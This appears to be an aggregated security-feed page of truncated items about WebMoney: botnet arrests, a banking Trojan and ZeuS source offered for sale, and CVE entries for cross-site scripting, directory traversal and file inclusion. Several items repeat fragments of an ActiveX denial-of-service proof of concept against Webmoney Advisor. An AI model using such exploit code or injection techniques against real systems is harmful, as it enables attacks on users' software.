EUVD-2010-1633

Malware in sbrugna...

domains.webmoney.ru Cross Site Scripting vulnerability OBB-3953945

Following the coordinated and responsible vulnerability disclosure guidelines of the ISO 29147 standard, Open Bug Bounty has: a. verified the vulnerability and confirmed its existence; b. notified the website operator about its existence. Technical details of the vulnerability are currently hidde...

Ukraine Arrests Operator of DDoS Botnet with 100,000 Compromised Devices

Ukrainian law enforcement authorities on Monday disclosed the arrest of a hacker responsible for the creation and management of a "powerful botnet" consisting of over 100,000 enslaved devices that was used to carry out distributed denial-of-service DDoS and spam attacks on behalf of paid customer...

Russian Hacker Who Allegedly Hacked LinkedIn and Dropbox Extradited to US

A Russian man accused of hacking LinkedIn, Dropbox, and Formspring in 2012 and possibly compromising personal details of over 100 million users, has pleaded not guilty in a U.S. federal court after being extradited from the Czech Republic. Yevgeniy Aleksandrovich Nikulin, 30, of Moscow was arrest...

WebMoney Keeper - Dangerous filesystem permissions, WebView SSL handling enabled vulnerabilities

HackApp vulnerability scanner discovered that application WebMoney Keeper published at the 'play' market has multiple vulnerabilities...

Webmoney Advisor ActiveX Remote DoS Exploit

No description provided by source. html Pwnage Page object classid='clsid:3AFFD7F7-FD3D-4C9D-8F83-03296A1A8840' id='target' /object script language='vbscript' targetFile = C:\Program Files\WebMoney Advisor\wmadvisor.dll prototype = Sub Redirect ByVal url As String memberName = Redirect progid =...

KINS Banking Trojan For Sale in Underground Forum

It seems the cybercrime underground is pining for a new breed of banking Trojan. With heavyweights such as Citadel no longer generally available for purchase, rumblings on forums for months have indicated that a new project would be welcomed and financed. Since February, researchers at RSA’s...

Report: Service Offers Cheap Access to Hacked Servers

An online service that sells fairly cheap access to compromised corporate machines creates a pay-to-play scenario for criminals seeking access to the networks of high-profile organizations, according to a Krebs on Security report. Brian Krebs writes that Dedicatexpress.com currently has access to...

ZeuS Source Code Leaked, Available for Sale !

ZeuS Source Code Leaked, Available for Sale ! The source is C++ and supposedly contains everything. The seller is asking for 5500 WebMoney/LibertyReserve for the full source code of version 2.0.8.9. The source code has been leaked but the archive is password-protected. Now there's a race to see w...

Report: Rustock Operators or Operator

A Krebsonsecurity piece looks into the unknown party behind the Rustock botnet, and whether it may have been operated by just one person. By interviewing investigators involved in the takedown, a joint operation carried out by Microsoft, FireEye, and various law enforcement agencies, Krebs...

Directory traversal

Directory traversal vulnerability in wmi.php in the Webmoney Web Merchant Interface aka WMI or comwmi component 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. dot dot in the controller parameter to index.php...

CVE-2010-1607

CVE-2010-1607 is a directory traversal (local file inclusion) vulnerability in the Webmoney Web Merchant Interface (com_wmi) Joomla! component 1.5.0. The issue allows exploitation by remote attackers who supply a .. in the controller parameter to index.php to cause inclusion and execution of arbi...

Webmoney Advisor - ActiveX Remote Denial of Service

Webmoney Advisor - ActiveX Remote Denial of Service Pwnage Page targetFile = "C:\Program Files\WebMoney Advisor\wmadvisor.dll" prototype = "Sub Redirect ByVal url As String " memberName = "Redirect" progid = "TOOLBAR3Lib.ToolbarObj" argCount = 1 arg1=String1337, "A" target.Redirect arg1...

Webmoney Advisor - ActiveX Remote Denial of Service

Pwnage Page targetFile = "C:\Program Files\WebMoney Advisor\wmadvisor.dll" prototype = "Sub Redirect ByVal url As String " memberName = "Redirect" progid = "TOOLBAR3Lib.ToolbarObj" argCount = 1 arg1=String1337, "A" target.Redirect arg1...

Webmoney Advisor ActiveX Remote DoS Exploit

Exploit for windows platform in category dos / poc =========================================== Webmoney Advisor ActiveX Remote DoS Exploit =========================================== Pwnage Page targetFile = "C:\Program Files\WebMoney Advisor\wmadvisor.dll" prototype = "Sub Redirect ByVal url As...

3a WebMoney Remote File Inclusion

3a WebMoney Remote File Include Vulnerability + Author : Septemb0x + www.Cyber-Warrior.Org - Information Technology's World + Greetz : BHDR & BARCOD3 & Cem & Asil Bey And All Friends... + Download Script & Script Info : http://s2.dosya.tc/3aWebMoney.rar.html &...